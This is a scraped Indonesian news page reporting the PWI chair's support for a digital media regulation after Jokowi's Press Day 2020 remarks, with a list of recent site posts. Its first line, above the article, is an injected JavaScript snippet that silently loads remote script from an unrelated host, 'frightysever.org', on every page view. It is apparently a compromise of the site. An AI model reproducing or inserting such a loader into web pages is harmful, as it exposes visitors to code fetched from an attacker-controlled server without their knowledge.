(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Soal Draf Regulasi Digital, Ini Kata Ketua PWI


KANALKALIMANTAN.COM, BANJARMASIN – Pada gelaran Hari Pers Nasional 2020 di perkantoran Pemprov Kalsel pada Sabtu (8/2/2020), Presiden RI Joko Widodo menjanjikan akan mengeluarkan regulasi digital. Ini merupakan hasil bincang-bincang Jokowi dengan beberapa pemimpin redaksi media nasional. Jokowi pun meminta agar segera diwujudkan draf regulasi digital.

“Saya minta untuk segera disiapkan draft regulasi yang bisa memproteksi dunia pers kita,” kata Jokowi.

Nah, pada Minggu (9/2/2020) siang, Ketua PWI Atal S Depari mengakui, usulan regulasi digital itu merupakan usulan dari PWI. Dia berharap, pemerintah harus turun dalam mengatur soal regulasi digital ini.

“Karena begini, sekarang ini mainstream media, katakanlah koran, TV, radio dan online itu satu, mereka harus membuat produk sesuai undang-undang, kode etik. Dia mendapatkan iklan dan harus bayar pajak,” kata Depari.

Depari prihatin, dengan beredarnya berita-berita di media sosial yang agresif, mengambil berita seenaknya tanpa menggaji wartawan.  “Dia iklannya, 75 persen dikuasai oleh medsos iklan-iklan sekarang ini, tidak bayar pajak. Itu yang saya minta, harus dibuat aturan undang-undang,” keluh Depari.

Apalagi, di media sosial rentan sekali beredarnya hoaks atau informasi palsu. Sehingga, pihaknya kewalahan dalam berhadapan dengan hoaks. “Kita selalu direpotkan juga dengan hoaks, tanggungjawab kita juga ini,” lugasnya.

Dikatakannya, pengusulan regulasi ini dilakukan bersama-sama dengan komunitas pers yang bernaung di bawah Dewan Pers. Jikalau tidak bersama-sama pun, Depari berkeinginan akan membuat timnya sendiri dan menawarkan kepada pemerintah.

“Nanti saya bahas seperti apa bentuk regulasinya. Nanti di Dewan Pers tinggal disatukan saja, makin kaya aturannya,” tambahnya.

Jika regulasi ini tidak terwujud, diakuinya akan ada kendala yang menghadang. Sehingga, kehadiran pemerintah dirasa perlu untuk memberikan perlindungan agar tercipta media sustainable. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Bie

 


Al Ghifari

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

12 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

15 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

15 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

17 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

19 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

20 jam ago

This website uses cookies.